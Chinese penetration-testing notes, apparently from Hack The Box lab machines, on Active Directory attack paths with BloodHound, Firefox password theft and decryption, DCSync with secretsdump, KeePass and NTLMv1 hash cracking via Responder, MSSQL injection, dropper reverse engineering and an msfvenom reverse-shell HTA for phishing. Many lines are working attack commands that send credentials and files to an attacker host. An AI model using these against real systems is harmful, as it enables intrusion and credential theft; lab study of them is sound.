将bloodhound.py和bloodhound都安装上。其实采集器还有exe和ps1格式的,酌情使⽤,能使⽤哪个就⽤哪个。⼤多没有条件限制,但你说你不是通过⽤户名获得的系统⽴⾜点,哪bloodhound.py这种远程采集的,你肯定不可以⽤,那就要⽤exe的或者ps1的。想看详细教程的可以看官⽅教程(

BloodHound: Six Degrees of Domain Admin — BloodHound 4.3.1 documentation )。Bloodhound的github库为:(

GitHub - BloodHoundAD/BloodHound: Six Degrees of Domain Admin )。Bloodhound的替代品:

BloodHound & Other AD Enum Tools | HackTricks | HackTricks

bloodhound-python --help

bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns

10.129.117.219 -d streamio.htb -dc streamio.htb --zip

zip格式⽂件不需要解压,因为Bloodhound就⽤zip格式的。但你可以查看其中的⽂件,确认有效性等unzip -l 20230807063743_bloodhound.zip

-c All:指定执行所有收集方法

-nc 指定Neo4j服务器的目标IP地址。

处理⼀下neo4j数据库,最好重启neo4j⼀下,⽤neo4j:neo4j默认密码登录后,设定⾃⼰的密码,命令行重新输入bloodhound然后我⽤:neo4j:1234登录进Bloodhound。导⼊刚才采集到的⽂件

sudo neo4j restart

image-20231211222539575

提示成功导⼊。就会在左上角的database info 里面出现relationships等数据

直接左上角搜索已经获得的资产JDgodd

选择这个多一个骷髅头,选择节点左上角就会出现节点详细情况。analysis有分析

image-20231212234358870

装载数据之后,讲我们获得三个⽤户标记为已拥有。选择First Degree Object Control后,获得如下视图。

image-20231211222724255

在域控制器图标上点选右键,选择“从已拥有节点⾄此的最短路径”

image-20231211222756183

获得如下视图,JDGODD在核⼼团队成员组有写所有者的权限,继⽽能获得读取dc服务器的LAPS密码的权限。

image-20231211223013679

选定⽬标后和出发点之后,图示显示了更加清晰的攻击路径。

image-20231211223052388

HELP对话框提示了利⽤⽅法,可以按提示进⾏攻击。

image-20231211223123066

手工的看ppt streamio⼿动枚举AD获得提权路径

Microsoft Learn:培养开拓职业生涯新机遇的技能 学习CN=JDgodd,CN=Users,DC=streamIO,DC=htb 语法

get-adgroup "core staff"

  • Get-ADGroup此 cmdlet 是 Active Directory 模块的一部分,用于检索有关 AD 组的信息。

  • "core staff"这是您要检索其信息的 AD 组的名称。它用双引号括起来。

没有成员,如果我们看⼀下他的访问控制列表,执⾏:

Evil-WinRM PS C:\Users\nikk37\Documents> (Get-ACL "AD:CN=CORE

STAFF,CN=Users,DC=streamIO,DC=htb").access

或更完整的命令⾏,其中的 AD: 字样是Get-ACL命令获取域ACL的前缀。、

  • Get-ACL此 cmdlet 用于获取指定 AD 对象的 ACL(访问控制列表)。

  • "AD:CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb"这代表 Active Directory 对象的路径。在本例中,它指定“streamIO.htb”域的“Users”容器内的“CORE STAFF”组。

  • .Access此属性用于访问 ACL 中的访问控制条目 (ACE) 列表。

Evil-WinRM PS C:\Users\nikk37\Documents> (Get-ACL "AD:$((Get-ADgroup "core

staff").distinguishedname)").access 会出现一堆这种数据如下是需要关注的

(ActiveDirectoryRights : WriteOwner

InheritanceType : None

ObjectType : 00000000-0000-0000-0000-000000000000

InheritedObjectType : 00000000-0000-0000-0000-000000000000

ObjectFlags : None

AccessControlType : Allow

IdentityReference : streamIO\JDgodd

IsInherited : False

InheritanceFlags : None

PropagationFlags : None)JDgodd有写所有者权限。

上⾯的⻓列表也可以直接筛选:

(Get-ACL "AD:$((Get-ADgroup "core staff").distinguishedname)").access | Where-Object { $_.IdentityReference -like "jdgodd" }

get-adcomputer -filter * 看⼀下域中的计算机信息,只有DC 后面的不想写了

(DistinguishedName : CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb

DNSHostName : DC.streamIO.htb

Enabled : True

Name : DC

ObjectClass : computer

ObjectGUID : 8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee

SamAccountName : DC$

SID : S-1-5-21-1470860369-1569627196-4264678630-1000

UserPrincipalName :)

一些使用技巧

有一个凭据后获得新凭据可以直接搜索看有没有攻击途径

image-20231216234206536

当你的用户对其中一个用户有generic_all权限时 可以直接修改改用户密码

net user dr.zaiuss RedteamN0tes!

GENERIC_ALL 是⼀个合集,它包括了对象的所有可能的权限。当为⼀个对象(如活动⽬录⽤户或组)赋予 GENERIC_ALL 权限时,您实际上是为该对象赋予了该对象类型的所有特定权限。例如,对于活动⽬录⽤户对象,这可能包括读取、写⼊、删除、更改密码、添加到组等各种权限。

得到用户可以罗列的

node info -> outbound object control->first degree object control 可以看它可以直接控制谁

analysis -> shortest paths ->shortest paths from owned principals 可以看属于哪个组

analysis -> list all kerberomssastable accounts

node info-> local admin rights->first degree local admin 可以查看 member of 哪一个组的admin

outbound object control->first degree object control 找该组隶属的组员

analysis-> find shortest paths domain admins 最短路径到域管

firefox渗透

在 Program Files (x86) 发现安装的firefox。之前的⽤户没有家⽬录,但本⽤户有,会存储⼀些敏感信息吗

goole 搜搜the profiles file location of firefox in windows system

filefox password crack

image-20231211215310456

通过第⼏篇⽂章,我们能够找到敏感⽂件的路径和敏感⽂件的名称,并且有两个⼯具可⽤。

窃取Firefox密码。简介 |由 S12 - H4CK |系统弱点 (systemweakness.com)

How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium

How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium工具

Windows:C:/Users/<PC 名称>/AppData/Roaming/Mozilla/Firefox/ProfilesMac:~/Library/Application Support/Firefox/ProfilesLinux:~/.mozilla/firefox/Profiles

以下是相应操作系统的 NSS 库名称。

Windows:nss3.dllMac:libnss3.dylibLinux:libnss3.so

具体是这样的,如下⽤户资料的⽂件路径重要有 key4.dblogins.json两个⽂件,我们可以⻢上验证并试图拿到。

Windows: C:/Users/<PC Name>/AppData/Roaming/Mozilla/Firefox/Profiles

如下路径中有nss3.dll⽂件。

Windows: C:\Program Files\Mozillia Firefox

拓展资料:

\1. key4.db: 是 Firefox 浏览器中的⼀个数据库,⽤于存储加密的敏感数据,如密码、证书和加密密钥。它使⽤ Mozilla 的 Network Security Services (NSS) 库来处理加密和解密操作。key4.db ⽂件包含了⽤于加密和保护登录密码等数据的密钥。这是SQLite的数据库格式,SQLite是⼀种嵌⼊式关系型数据库管理系统(RDBMS),它是⼀个轻量级、⾃包含的、⾼性能的数据库引擎。与传统的客户端-服务器数据库管理系统不同,SQLite 不需要单独的服务器进程,⽽是将整个数据库作为⼀个⽂件存储在主机⽂件系统中。

\2. logins.json: 这个⽂件存储了 Firefox 浏览器中保存的登录凭据,包括⽹站⽤户名和密码等信息。这些登录凭据被加密存储在 logins.json ⽂件中,使⽤ key4.db 中的密钥进⾏加密。

\3. NSSNetwork Security Services): NSS 是⼀个由 Mozilla 开发的库,⽤于实现⽹络安全功能,包括 SSL/TLS(加密通信协议)、数字证书管理和安全存储等。在 Firefox 中,NSS 负责处理加密、解密、数字签名等安全操作,同时也⽤于管理存储加密敏感数据的密钥。这些⽂件在 Firefox 中的作⽤是确保⽤户的登录凭据和其他敏感数据得到安全保护。key4.db ⽤于存储加密所需的密钥,logins.json 存储加密后的登录凭据,⽽ NSS 则提供了实现这些加密和解密操作的功能库。

cd

C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles

ls 有两个文件夹 cd 5rwivk2l.default 这个文件夹里面有东西 type times.json这个凭据没什用 cd..

cd br53rxeg.default-release 这个文件下东西多 有key4.db 和logins.json

在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。

/usr/share/doc/python3-impacket/examples/smbserver.py share . -user

RedteamNotes -pass RedteamNotes -smb2support

完成⽂件的复制,更具参考⽂章的提示,也到程序路径下拿到nss3.dll⽂件:

copy key4.db \10.10.16.16\share

copy logins.json \10.10.16.16\share

C:\Program Files (x86)\Mozilla Firefox> copy nss3.dll \10.10.16.16\share

根据参考⽂章,Firepwd.pyfirefox_decrypt.py都以完成破解。随便⽤⼀个试试看。

git clone GitHub - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords

streamio_firefox是包含从靶机中下载回来的key4.db、logins.json和nss3.dll的⽂件夹。执⾏破解

python firepwd/firepwd.py streamio_firefox

secretsdump.py

DCSync 攻击的首选方法

/usr/share/doc/python3-impacket/examples/secretsdump.py 'streamio.htb/administrator:}97JM2i!3K&i;+'@streamio.htb

dump出dc主机的全部 凭据 它表示您想要对“streamio.htb”域中的“管理员”帐户执行凭据转储

secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'

有管理员的tgt

ticketConverter.py ./ticket.kirbi ticket.ccache

secretsdump.py administrator@dc.sequel.htb -k -no-pass

msgconvert(.msg>>.eml邮件)

.eml 文件是一种电子邮件文件格式,通常用于存储和传输电子邮件消息。这个文件格式通常是纯文本格式,它包含了一封电子邮件的全部内容,包括发件人、收件人、主题、日期、邮件正文以及可能的附件。

.msg 文件是一种常见的电子邮件文件格式,通常与Microsoft Outlook相关。这个文件格式包含了一封完整的电子邮件消息,包括邮件的文本内容、附件、发件人、收件人、主题等信息。.msg 文件是专门为Microsoft Outlook设计的,它可以保存 Outlook 中的单个邮件,保留邮件的所有元数据。

$ msgconvert *.msg

命令 msgconvert *.msg 看起来像是在尝试使用 msgconvert 工具来转换多个 .msg 文件。msgconvert 是一个用于处理 Microsoft Outlook .msg 文件的 Perl 脚本,它允许你将 .msg 文件转换为其他格式,比如文本或者是 eml(RFC822)格式。

xdg-open xxx.eml

.kdbx(存储密码数据库)

.kdbx 文件是一种与密码管理相关的文件格式,通常用于存储密码数据库。这种文件格式是由一个流行的密码管理工具称为KeePass使用的,它是一个开源的、跨平台的密码管理器。

KeePass数据库文件(.kdbx)包含了用户的各种密码、账户信息以及其他敏感数据,并通过强加密算法对这些信息进行保护。用户需要提供主密码或者其他认证信息来解锁数据库文件以访问其中的保存的密码。

kpcli 是⼀个命令⾏界⾯(CLI)客户端,⽤于交互与 KeePass 数据库⽂件(.kdb 和 .kdbx)。它允许⽤户在没有图形⽤户界⾯的情况下管理和访问 KeePass 数据库,这在某些服务器或远程访问场景中特别有⽤。

当然你也可以安装图形界⾯的Keepass应⽤,查看凭据信息。

以下是一些关于.kdbx 文件和KeePass的基本信息:

kpcli -kdb credentials.kdbx 查看需要密码

keepass2john credentials.kdbx > credentials.kdbx.hash

$ hashcat --help | grep -i keepass

hashcat -m 13400 credentials.kdbx.hash /usr/share/wordlists/rockyou.txt

show -f Recycle\ Bin/Sample\ Entry

ls Windows/

=== Entries ===

\0. SSH

kpcli:/Database> show -f Windows/SSH

Responder破解(ntlmv1)

FreeBuf网络安全行业门户

TrustedSec | Practical Attacks against NTLMv1

靶机枚举看到的,在windows defender文件夹下的

image-20231219095331373

这个可以利用

靠山吃山理念,可以去理解,好多工具的使用

image-20231219095529183

goole直接搜,LOLBAS LOLBAS

是个网站,里面是靠山吃山工具的理念使用(系统有啥文件就用啥文件)

这个是linux的 GTFOBins

使用Responder

git clone GitHub - lgandx/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

sudo ./Responder.py -I tun0 --lm

image-20231219095942187

因为执行后的challenge set是随机的,每次利用都会不一样

所以要改一下

image-20231219100212123

改成固定值

image-20231219100225022

再次执行。-v是避免已经显示的随机数不在显示,全部显示,执行后开始监听

image-20231219100250856

靶机里面执行(这个命令可以从上面的lolbas中查)

image-20231219100334502

.\MpCmdrun.exe -Scan -scantype 3 -File \10.10.16.10\noexist

noexit就是不需要访问任何文件,只需要连接一下

这个就是利用这个工具执行一次连接,连接我们的responder,

将获得hash保存下来

工具利用 ntlmv1-multi

GitHub - evilmog/ntlmv1-multi: NTLMv1 Multitool

image-20231219100626576

工具利用后告诉你怎么破解

利用crack.sh网站,但是要钱

image-20231219100756726

把change set改成这个,特定的这样才可以在这个网站破解,可能是这个网站在靶机做的宣传。1122334455667788

image-20231219160739221

如果有一个msssql权限

Orchard 的用户是admin

sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!'

尝试打开 xp_cmdshell 并执行命令,如下所示:但是失败 xp_cmdshell 未打开。

EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go

在确认 xp_cmdshell 已关闭且无法打开后,我决定继续前进。我想要测试的下一件事是连接到一个不存在的共享,并运行 Responder,并希望获取 SQL 服务所有者的哈希值。

首先,我像这样启动 Responder:kali

responder -I tun0

sqsh中

exec master..xp_dirtree '\10.10.14.12\test'

go

可以转储出hash

mssql

mssql注入

⽐如⽤关键词 time';-- - 来试探:

这就是SQL注⼊。如果不是,它将返回0个结果,因为没有电影在标题中有‘';-- -’这样的字符。

事实上输⼊ d' and 1=1 -- 也是有返回值的,也证明是有SQL注⼊的

RedteamNotes' union select 1,2,3,4,5,6;-- - ,获得了反馈。 2 3

RedteamNotes' union select 1,@@version,3,4,5,6;-- -

RedteamNotes' union select 1,name,3,4,5,6 from master..sysdatabases;-- -

从 master 数据库中的 sysdatabases 表中检索数据。在mysql中和sysdatabases对应的表叫

INFORMATION_SCHEMA。

不难推测,当前数据库是STREAMIO。同时streamio_backup也值得关注,备份数据中如有更多凭据,⽤来撞库⼀般很好⽤。但是从运维⻆度⼀般没⼈配置对备份数据库的访问,配置机制上不会,运维⼈员的意愿上更不会。

RedteamNotes' union select 1,(select DB_NAME()),3,4,5,6 from

master..sysdatabases;-- - 获得 srteamio

RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where

xtype='U';-- - 有个users表

在 SQL Server 中, sysobjects 是⼀个系统表,它包含了有关数据库中的对象(例如表、视图、存储过程等)的元数据信息。在这个查询中, xtype 是 sysobjects 表中的⼀个列,表示对象的类型。where xtype='U' 是⼀个条件,它限制了结果集中只返回对象类型为 'U' 的⾏。在这⾥, 'U' 表示⽤户表(User Table)。这个条件过滤了只有⽤户表的信息被检索出来,其他类型的对象将被排除。

RedteamNotes' union select 1,name,id,4,5,6 from streamio..syscolumns where id in

(885578193,901578250);-- - 有username和 password

RedteamNotes' union select 1,concat(username,';',password),3,4,5,6 from users;-- -

获得账号密码

枚举(sqsh)

sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!'

可以sqsh -S servername -U username -P password -D database -i your_script.sql

首先,我列举了所有的数据库;不过,从 dev_notes 消息中我知道我可能正在寻找“orcharddb”。

在 Microsoft SQL Server 中,双点符号 ( master..sysdatabases) 是指定默认架构 ( dbo) 的简写。和master.dbo.sysdatabasesmaster..sysdatabases引用相同的系统表,并将返回“master”数据库中的数据库名称。

SELECT name FROM master.dbo.sysdatabases
go

img

好吧,orcharddb被发现了,这就是我想开始的地方。接下来,我退出 SQL shell,然后使用以下命令进入 orcharddb 数据库:

sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!' -d orcharddb

进入 orcharddb 数据库后,我运行以下命令来转储所有表名:

SELECT * FROM orcharddb.INFORMATION_SCHEMA.TABLES;
go

这提取了 62 个表名!— 然而,在浏览各个表格时,其中一个表格中有“用户”一词,所以我知道这就是我想首先检查的表格。

img

接下来,我从表中提取了所有数据,在该表中为我提供了我之前枚举的用户 James 的密码!

SELECT * FROM blog_Orchard_Users_UserPartRecord;
go

img

Jenkins渗透

image-20231226205438733

可以创建一个用户,登入

逆向分析

Restart-OracleService.exe静态逆向分析

file Restart-OracleService.exe

file 可以快速识别⽂件的格式的常⽤命令,识别原理是基于魔数(magic numbers)和其他特定

于⽂件类型的特征。从⼆进制分析⻆度需要注重下细节。

\1. PE32+ executable: 这描述了⽂件的格式。PE32+意味着它是⼀个扩展的PE格式(Portable

Executable),这是Windows操作系统⽤于可执⾏⽂件、DLLs等的标准格式。

\2. console: 这意味着该可执⾏⽂件是⼀个控制台应⽤程序,是⼀个命令⾏⼯具,⽽不是⼀个具有

图形⽤户界⾯的程序。

\3. x86-64: 这表示程序是为x86-64架构(也称为AMD64或简称64位)编译的,它不能在纯32位的

Windows系统上运⾏。

\4. for MS Windows: 这很明确地说明这是⼀个为Microsoft Windows操作系统编译的程序。

\5. 6 sections: 这指的是PE⽂件中的段数量。在PE⽂件格式中,段是⽂件的主要组成部分,它们

包含代码、数据和其他信息。该值可以为分析者提供有关⽂件结构的某些基本信息。

拓展说⼀点file命令的知识,对逆向感兴趣的,这些都是需要了解的。

拓展: 什么是⽂件魔数和其他特征?

魔数(Magic Number)在计算领域有多种定义和⽤途,但在⽂件格式的语境中,它通常指的是⼀个⽂件或数据块开始的⼀系列字节,这些字节⽤于表示数据的类型或格式。通过这些特定的字节组合,软件和操作系统可以轻松地识别和区分不同的⽂件格式。

以下是⼀些常⻅的魔数示例,我们靶机精讲的靶机中是有部分涉及的:

\1. JPEG 图像⽂件:通常以 0xFF 0xD8 开始。

\2. PNG 图像⽂件:开始有⼀个8字节的签名,即 0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A

0x0A 。

\3. ELF 可执⾏⽂件:开始有 0x7F 0x45 0x4C 0x46 。

\4. ZIP 压缩⽂件:通常以 0x50 0x4B 0x03 0x04 开始。

当使⽤ file 命令识别⽂件类型时,会检查⽂件的魔数,因为⽂件的扩展名并不总是可靠的;⽂件

的内容和魔数提供了更准确的识别⽅法。需要注意的是,魔数并不仅仅⽤于⽂件识别。在其他计算

领域,例如在某些数据结构中,魔数可以⽤作⼀种标识,以检查数据的完整性或确定数据的版本。

file 命令⽤来识别⽂件类型时,除了依赖于魔数(magic numbers)外,还会依赖于其他⼀些特

定于⽂件类型的特征。以下是⼀些这样的特征:

\1. ⽂件头部和/或尾部的固定字节序列:这通常是魔数(magic numbers)。例如,所有的 JPEG⽂件在其头部有⼀个特定的字节序列。

\2. ⽂本模式识别: file 命令可以识别许多纯⽂本格式,例如 ASCII、UTF-8 或特定的脚本(如

shell 脚本、Python 脚本等)。

\3. ⽂件的结构和布局:某些⽂件格式有特定的内部结构或布局,这可以帮助识别它们。第 37 /

\4. ⽂件扩展:尽管⽂件扩展名不总是准确的,但 file 命令在某些情况下可能会使⽤它作为⼀个

线索。

\5. ⽂件的元数据:某些⽂件格式包含元数据,如作者、创建⽇期等,这些也可以⽤来识别⽂件类型。

\6. ⽂件的内容模式:例如,XML ⽂件会有特定的标签结构。

\7. 特定的字节间隔或模式:有些⽂件格式在其内容中有固定的字节间隔或模式。

\8. 压缩和编码模式:如⽂件是经过特定算法压缩或编码的,这些模式也可以被⽤来识别⽂件。

\9. ⽂件尾巴的特定标记:某些⽂件不仅在其头部有特定的标记,还在尾部有。

这些特征和模式都存储在 file 命令所依赖的“magic”数据库中。这个数据库包含了⼤量的规则和

模式,⽤于识别各种⽂件类型。当运⾏ file 命令时,它会根据这些规则和模式检查给定的⽂件,然后返回最佳匹配的⽂件类型描述。类似的还应该想到 strings 、 ldd 和 nm ,分别查看其中的可打印字符串、链接库信息和符号表。

ldd是list dynamic dependencies,nm是name mangling。

继续静态分析。

strings Restart-OracleService.exe | wc -l

strings Restart-OracleService.exe | tee strings_Restart-Oracle

因可打印字符串⽐较多,我们将其输出到⼀个⽂件中。遍历的时候看到inflate的信息

cat strings_Restart-Oracle | grep infl

(inflate 1.2.11 Copyright 1995-2017 Mark Adler)

chagGPT告诉我这是⼀个压缩相关的库⽂件。⽆法查看到链接库的具体情况。

ldd Restart-OracleService.exe

⽤ghidra查看反汇编、反编译和字符串信息,也没有什么收获,应该是做混淆处理。

image-20231216223641527

那就观察 Restart-OracleService.exe 的程序交互⾏为吧!

区分

  1. 动态分析:

优点:

可以在运⾏时观察程序的实际⾏为。更容易识别运⾏时数据和算法。可以绕过某些混淆或加密措施,因为在运⾏时数据必须解密或解混淆。

劣势:

可能需要更多时间来设置并监视运⾏环境。可能⽆法分析不常运⾏的代码路径或特定的条件分⽀。存在对抗性技术,如反调试技术,可能会影响分析。

⼯具:

调试器:如 GDB、WinDbg、OllyDbg、x64dbg 等。

动态⼆进制插桩⼯具:如 DynamoRIO、PIN。

系统监视⼯具:如 ProcMon、Wireshark。

\2. 静态分析:

优点:

不需要执⾏程序,降低⻛险。可以看到整个程序的逻辑和结构。更适合⼤规模或⾃动化分析。

劣势:

⽆法直接观察到程序的运⾏时⾏为。对于混淆的或复杂的代码可能很难解读。对于动态⽣成或修改的代码(如反射或⾃修改代码)可能⽆法准确分析。

⼯具:

反编译器和反汇编⼯具:如 IDA Pro、Ghidra、Radare2、Hopper。

代码可视化⼯具:如 Binary Ninja。

字符串和资源分析⼯具:如 Strings、Binwalk。

适⽤条件:

对于想要快速了解程序功能或查找明显的疑点部分,动态分析可能是⾸选。

对于需要深⼊理解整个程序的逻辑、数据结构或算法的任务,静态分析可能更合适。

在某些情况下,⽐如⾯对⾼度混淆的代码或者使⽤了反调试技巧的程序,可能需要结合动态和

静态分析。

Restart-OracleService.exe动态逆向分析

Procmon

这⾥需要⽤到Sysinternals中的⼯具。Sysinternals是⼀套⽤于诊断、排查和监控Windows系统和应⽤程序的实⽤⼯具集Sysinternals - Sysinternals | Microsoft Learn

在⼯具套件的官⽅站点下载对应架构的软件包。 Sysinternals 实用工具 - Sysinternals | Microsoft Learn

这⾥我们⽤到这个⼯具套件中的procmon这个⼯具,Procmon,Process Monitor,可以捕获

Windows的所有注册表、⽂件、⽹络和进程事件,并允许我们通过过滤器来查看正在发⽣的情况。

官⽅⽂档在这⾥: 进程监视器 - Sysinternals | Microsoft Learn

漏斗可以筛选进程名称方便点,四角定位框是捕捉

image-20231218195100784

image-20231218195501329

监测起停之间执⾏了Restart-OracleService.exe,通过观察⽇志和过滤器的使⽤,发现程序创建并操作了⼀个bat⽂件。.bat文件一般是命令行输入,很值得观察,(记得把path这一栏拉长不然没全显示

image-20231216232303652

⼏次清空并执⾏后,发现注册表操作⽇志稳定在1297条数据,证明这是⼀个完整的操作过程。遍历进程的操作,发现程序建⽴了⼀个bat格式的批处理⽂件,并且在⼀些列操作后删除了这个bat⽂件,通过多次执⾏程序,看到这个⽂件的名字是随机⽣成的,在临时⽂件夹。现在我们想办法拿到这个bat⽂件,看程序都做了什么。

可以漏斗中选择path 然后关键词.bat

image-20231216232352265

复制它的路径到这

image-20231218195749362

程序是将temp临时文件里面的bat文件删除,我们想留下来,可以找工具也可以(临时文件持久化)

通过对temp⽂件夹权限的设置,确保临时⽂件不被删除。

image-20231216232449393

这样捕捉到随机⽣成的bat⽂件。

image-20231216232516329

bat代码审计

看⼀下这个bat⽂件的内容,分析程序的⾏为:

@shift /0

@echo off

if %username% == cybervaca goto correcto

if %username% == frankytech goto correcto

if %username% == ev4si0n goto correcto

goto error第 42 / 107 页

:correcto

echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >

c:\programdata\oracle.txt

echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >>

c:\programdata\oracle.txt

-- 红笔剪⼑,省略若⼲⾏ --

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>

c:\programdata\oracle.txt

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>

c:\programdata\oracle.txt

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>

c:\programdata\oracle.txt

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>

c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ;

foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace("

",""); [System.IO.File] ::WriteAllBytes("c:\programdata\restart-service.exe",

[System.Convert] ::FromBase64String($salida)) > c:\programdata\monta.ps1

powershell.exe -exec bypass -file c:\programdata\monta.ps1

del c:\programdata\monta.ps1

del c:\programdata\oracle.txt

c:\programdata\restart-service.exe

del c:\programdata\restart-service.exe

:error

这是⼀个Windows批处理脚本。批处理⽂件(或脚本)是在Windows中运⾏的⽂本⽂件,它包含了⼀系列的命令。根据⽂件内容,我们可以推断出以下⼏点:

\1. ⽤户检查:

该脚本⾸先检查当前⽤户的⽤户名是否是 cybervaca 、 frankytech 或 ev4si0n 之⼀。

如果⽤户名匹配,则跳转到 correcto 标签的代码;否则跳转到 error 标签的代码。

\2. oracle.txt ⽂件创建:

在 correcto 标签下,脚本将多⾏数据写⼊到 c:\programdata\oracle.txt ⽂件。数据

应该是Base64编码的数据。

\3. PowerShell 脚本⽣成和执⾏:

在创建了 oracle.txt 之后,脚本会写⼊⼀个PowerShell命令到c:\programdata\monta.ps1 ⽂件。这个命令会:读取 oracle.txt ⽂件的内容合并所有⾏,去掉所有空格将结果的字符串从Base64解码并保存为⼀个⼆进制⽂件: c:\programdata\restart-service.exe然后使⽤ powershell.exe 执⾏上⾯⽣成的PowerShell脚本,并在执⾏完成后⽴即删除。

\4. 执⾏⼆进制⽂件:

执⾏ c:\programdata\restart-service.exe ⽂件。

\5. 清理:

在运⾏完上述所有操作后,脚本会删除先前⽣成的 oracle.txt 、 monta.ps1 和

restart-service.exe ⽂件。

\6. 错误处理:

如果初始的⽤户名检查失败,则脚本会直接跳转到 error 标签

整个代码是将txt的内容读进来,Base64数据解码并保存为⼀个名为"restart-service.exe"的可执⾏⽂件,执⾏,然后删除全部过程⽂件。现在我们想要这些⽂件,因为其中很可能有凭据,不让它啥,让我们看看。纵观脚本,不让它删可以吧del语句删掉,它就不删了,还有开头的认证也删掉(直接改成goto correcto 任何条件都可以跳到底下代码块)就可以了。修改后的代码这样的 就是把

del c:\programdata\restart-service.exe 去掉

倒数第⼆⾏的 c:\programdata\restart-service.exe 是执⾏了⽣成的可执⾏⽂件,但显然我们的逆向分析环境没有执⾏的意义,我们关注的是拿到这个⽂件,看它其中的敏感信息,我们深度怀疑它其中有数据库连接的凭据。也可以直接将后四⾏删掉。

切换到programdata

执⾏后,如程序逻辑⼀样,我们在 c:\programdata\ ⽂件夹内看到了 restart-service.exe ⽂

件。

image-20231216234012553

现在逆向restart-service.exe吧。

ls -liah restart-service.exe

strings restart-service.exe | grep -i pass

ldd restart-service.exe

nm restart-service.exe

⽆法通过strings或查看符号表等⽅式获得敏感信息。在ghidra中看到,程序也是经过混淆或加密的,⽆法找到分析的⼊⼝,那还要借助动态逆向分析搜

集信息。⽽此时,通过Procmon之类的进程观察⼯具,在519条进程记录中,没有发现可供逆向的⼆进制⽂件,也没有敏感信息泄漏出来。

和系统打交道的,除了这个procmon,⽤于监控 Windows ⽂件系统、注册表、进程、线程和 DLL活动,还有像linux系统下strace那样,能捕获 Win API 调⽤,显示函数调⽤、参数值、返回值和错误码等信息的应⽤吗?如果你不知道可以搜⼀搜。

the substitute of strace in windows

随便点开靠前的连接,我们感兴趣试⼀下api monitor。事实上常⽤的x64dbg这种动态调试器应该也是可以的。找到api monitor就⽤⼀下。

API Monitor

Downloads | rohitab.com

image-20231216233824902

image-20231218205442518

我们切换到intel架构的cpu的windows中进⾏逆向分析,因为实在虚拟机中的测试,关闭windows defender。

image-20231216233843279

如上图,执⾏后,获得restart-service.exe⽂件。启动apt monitor。过滤器全选。指定监控进程。左边的这些要用空格一个个选

image-20231216233856478

image-20231216233905118

导⼊分析数据后,通过前面的渗透感觉这边又密码子类的如下图,并全⽂搜索敏感数据passwd。这样不管时password还是什么都可以找到

image-20231216233934200

通过不同关键字搜索,得到如下凭据:

image-20231216234133724

密码巧用

这边得到的密码靶机登入不了,但是邮件里面说最近切换mssql了,尝试改一下密码的orcle改成mssql试试

.net exe reverse engineering tool list(dnspy)

决定⽤dnspy来试⼀下:

使⽤dnspy做静态逆向分析

使⽤ GitHub - dnSpy/dnSpy: .NET debugger and assembly editor 对restart-mssql.exe进⾏静态逆向分析,这是单独针对.net进⾏逆向分析的⼯具,你⽤google搜索,也会被推荐这个⼯具。

根据我们获得program.cs⽂件,很容易定位到主程序的逆向源码。

image-20231217150913129

综合源码和逆向的代码,我们很容易分析 Console.WriteLine 很可能可以获得凭据,设置断点,并启动调试。获得如下运⾏结果。

设置断点

image-20231217151506147

右击数组,选择显示在内存窗⼝,获得如下明⽂

image-20231217151830684

钓鱼

CVE-2017-0199

RTF文件(Rich Text Format):

  • 定义: RTF是一种文本文件格式,旨在存储文本文档的格式化信息,例如字体、颜色和样式,而无需包含实际的二进制图像或多媒体数据。

  • 用途: RTF文件通常用于在不同的文本编辑器和文档处理应用程序之间共享文本文档,因为RTF格式允许在不同应用程序之间保留文本文档的格式和外观。

  • 注意事项: 尽管RTF文件主要用于文本文档,但要小心处理未知来源的RTF文件,因为它们可能包含恶意代码或链接。

HTA文件(HTML Application):

  • 定义: HTA是一种由HTML和脚本组成的文件格式,它允许在本地系统上执行包含JavaScript、VBScript等脚本的HTML代码。HTA文件通常拥有本地系统的权限,并可以执行强大的系统操作。

  • 用途: HTA文件常用于创建桌面应用程序或执行一些系统管理任务。由于其能够本地执行脚本并访问系统资源的特性,HTA文件可能被滥用用于恶意目的,如在渗透测试中。

  • 注意事项: 由于HTA文件具有执行本地脚本的能力,打开未知来源的HTA文件可能存在风险,因为它们可能包含恶意脚本。

image-20231227164130444

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.11 LPORT=443 -f hta-psh -o msfv.hta

生成hta文件木马

